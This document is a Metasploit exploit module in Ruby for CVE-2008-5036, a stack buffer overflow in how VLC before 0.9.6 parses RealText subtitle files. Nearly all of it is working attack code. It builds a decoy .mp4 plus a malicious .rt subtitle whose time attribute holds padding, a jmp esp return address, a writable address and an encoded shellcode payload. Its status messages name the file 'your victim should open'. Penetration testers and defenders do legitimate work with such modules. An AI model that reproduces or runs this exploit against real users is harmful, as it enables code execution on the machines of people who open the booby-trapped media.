##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VLC Media Player RealText Subtitle Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow vulnerability in
				VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
				RealText subtitle files.

					In order to exploit this, this module will generate two files:
				The .mp4 file is used to trick your victim into running. The .rt file
				is the actual malicious file that triggers the vulnerability, which
				should be placed under the same directory as the .mp4 file.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Tobias Klein',  # Vulnerability Discovery
					'SkD', # Exploit
					'juan vazquez' # Metasploit Module
				],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'OSVDB', '49809' ],
					[ 'CVE', '2008-5036' ],
					[ 'BID', '32125' ],
					[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
					[ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
				],
			'Payload'        =>
				{
					'Space'          => 1900,
					'DisableNops'    => true,
					'BadChars'       => "\x00\x22\x0a",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
						{
							'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
							'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 05 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.rt']),
			], self.class)
	end

	def generate_mp4
		mp4 = ''
		# ftyp
		mp4 << "\x00\x00\x00\x14"  #Size
		mp4 << "ftyp"              #Type
		mp4 << "isom"              #Major brand
		mp4 << "\x00\x00"          #version
		mp4 << "\x00\x00"
		mp4 << "mp41"              #Compatible brands
		# moov
		mp4 << "\x00\x00\x00\x9f"  #Size
		mp4 << "moov"              #Type
		mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
		mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
		mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
		mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
		mp4 << "udta"
		mp4 << "\x00\x00\x00\x23"
		mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
		mp4 << "vlc 0.9.4 stream output"
		# wide
		mp4 << "\x00\x00\x00\x08"
		mp4 << "wide"
		# mdat
		mp4 << "\x00\x00\x00\x08"
		mp4 << "mdat"

		return mp4
	end

	def generate_rt
		my_payload = ""
		my_payload << Rex::Text.rand_text(72, payload_badchars)
		my_payload << [target.ret].pack("V") # EIP => jmp esp
		my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
		my_payload << Rex::Text.rand_text(2, payload_badchars)
		my_payload << [target['WritableAddress']].pack("V") # Writable address
		my_payload << payload.encoded

		rt_file = <<-eos
<window height="250" width="300" duration="15" bgcolor="yellow">
Mary had a little lamb,
<br/><time begin="#{my_payload}"/>
<br/><time begin="6"/>little lamb,
<br/><time begin="9"/>Mary had a little lamb
<br/><time begin="12"/>whose fleece was white as snow.
</window>
		eos

		return rt_file
	end

	def exploit

		mp4 = generate_mp4
		rt  = generate_rt

		print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
		file_create(rt)

		original_fname = datastore['FILENAME']
		datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
		print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
		file_create(mp4)

		datastore['FILENAME'] = original_fname

	end
end
